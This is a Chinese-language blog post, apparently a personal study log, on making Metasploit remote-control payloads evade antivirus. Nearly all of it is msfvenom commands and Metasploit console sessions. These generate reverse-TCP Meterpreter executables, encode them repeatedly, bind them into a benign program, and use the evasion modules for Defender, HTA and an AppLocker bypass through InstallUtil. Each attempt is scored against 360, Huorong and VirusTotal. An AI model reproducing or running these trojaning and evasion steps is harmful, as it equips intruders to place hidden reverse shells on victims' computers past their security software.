远控免杀的学习(一)
0x00 前言
最近这几天不知道为什么被远控免杀给迷住了，原因都是因为这个https://github.com/TideSec/BypassAntiVirus
虽然上面记录的，在现在很多都不怎么免杀了，自己还是决定学习其中的一些方法。前面的一些免杀工具只是部分使用，感觉大部分工具都是跟msfvenom扯不开关系的，而使用的工具中觉得免杀不行的，也不想记录。主要是360全家桶和火绒作主要查杀工具，VT作为参考。
0x01 msf自带的免杀
(msfvenom的参数就不说了)
1.未处理的payload：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.128 LPORT=4444 -f exe -o ./payload1.exe
VT：58/72；火绒和360秒杀。
2.msf自编码处理的payload：
编码器为x86/shikata_ga_nai：msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.128 LPORT=4444 -e x86/shikata_ga_nai -b "\x00" -i 15 -f exe -o ./payload2.exe
VT:57/72；火绒和360秒杀
3.msf自捆绑的payload：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.128 LPORT=4444 -x 11.exe -f exe -o ./payload3.exe(其中的11.exe是一个正常的、无后门的exe文件，我自己用python写的小工具.exe文件)
VT:11/72
火绒和360秒杀
4.msf自捆绑+编码的payload：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.128 LPORT=4444 -e x86/shikata_ga_nai -x 11.exe -i 5 f exe -o ./payload4.exe(这种方式有问题，生成的payload很容易无法运行)
5.msf多重编码的payload：
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.111.128 LPORT=4444 -f raw | msfvenom -e x86/alpha_upper -i 10 -f raw | msfvenom -e x86/countdown -i 10 -x 360sd.exe -f exe -o payload5.exe
(仅作参考，msfvenom生成失败，就没管了)
msf下的evasion模块免杀
show evasion可查看其下的模块。
1.windows/windows_defender_exe模块
msf5 > use windows/windows_defender_exe
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 evasion(windows/windows_defender_exe) > show options
Module options (evasion/windows/windows_defender_exe):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME ukup.exe yes Filename for the evasive file (default: random)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.111.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Evasion target:
Id Name
-- ----
0 Microsoft Windows
msf5 evasion(windows/windows_defender_exe) > set filename payload.exe
filename => payload.exe
msf5 evasion(windows/windows_defender_exe) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 evasion(windows/windows_defender_exe) > run
[*] Compiled executable size: 4096
[+] payload.exe stored at /root/.msf4/local/payload.exe
静态360直接给秒杀了，火绒就不用试了。（火绒np）
2.windows/windows_defender_js_hta模块
msf5 evasion(windows/windows_defender_exe) > use windows/windows_defender_js_hta
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf5 evasion(windows/windows_defender_js_hta) > show options
Module options (evasion/windows/windows_defender_js_hta):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME WfvPutTKt.hta yes Filename for the evasive file (default: random)
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.111.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Evasion target:
Id Name
-- ----
0 Microsoft Windows
msf5 evasion(windows/windows_defender_js_hta) > set filename payload.hta
filename => payload.hta
msf5 evasion(windows/windows_defender_js_hta) > run
[+] payload.hta stored at /root/.msf4/local/payload.hta
msf5 evasion(windows/windows_defender_js_hta) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 evasion(windows/windows_defender_js_hta) > set filename payload1.hta
filename => payload1.hta
msf5 evasion(windows/windows_defender_js_hta) > run
[+] payload1.hta stored at /root/.msf4/local/payload1.hta
360全家桶和火绒都没报毒。(虽然没报毒，但是在运行的时候会生成一个新的程序来返回shell，但新程序过不了火绒和360，也就是过不了行为检测)
payload的VT：23/59；payload1的VT：23/58
3.windows/applocker_evasion_install_util模块
msf5 evasion(windows/windows_defender_js_hta) > use windows/applocker_evasion_install_util
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 evasion(windows/applocker_evasion_install_util) >
msf5 evasion(windows/applocker_evasion_install_util) > show options
Module options (evasion/windows/applocker_evasion_install_util):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME install_util.txt yes Filename for the evasive file (default: install_util.txt)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.111.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Evasion target:
Id Name
-- ----
0 Microsoft Windows
msf5 evasion(windows/applocker_evasion_install_util) > set filename payload.txt
filename => payload.txt
msf5 evasion(windows/applocker_evasion_install_util) > show options
Module options (evasion/windows/applocker_evasion_install_util):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME payload.txt yes Filename for the evasive file (default: install_util.txt)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.111.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Evasion target:
Id Name
-- ----
0 Microsoft Windows
msf5 evasion(windows/applocker_evasion_install_util) > run
[+] payload.txt stored at /root/.msf4/local/payload.txt
[*] Copy payload.txt to the target
[*] Compile using: C:\Windows\Microsoft.Net\Framework\[.NET Version]\csc.exe /out:payload.exe payload.txt
[*] Execute using: C:\Windows\Microsoft.Net\Framework\[.NET Version]\InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe
360和火绒静态都过，但是行为查杀熄火。
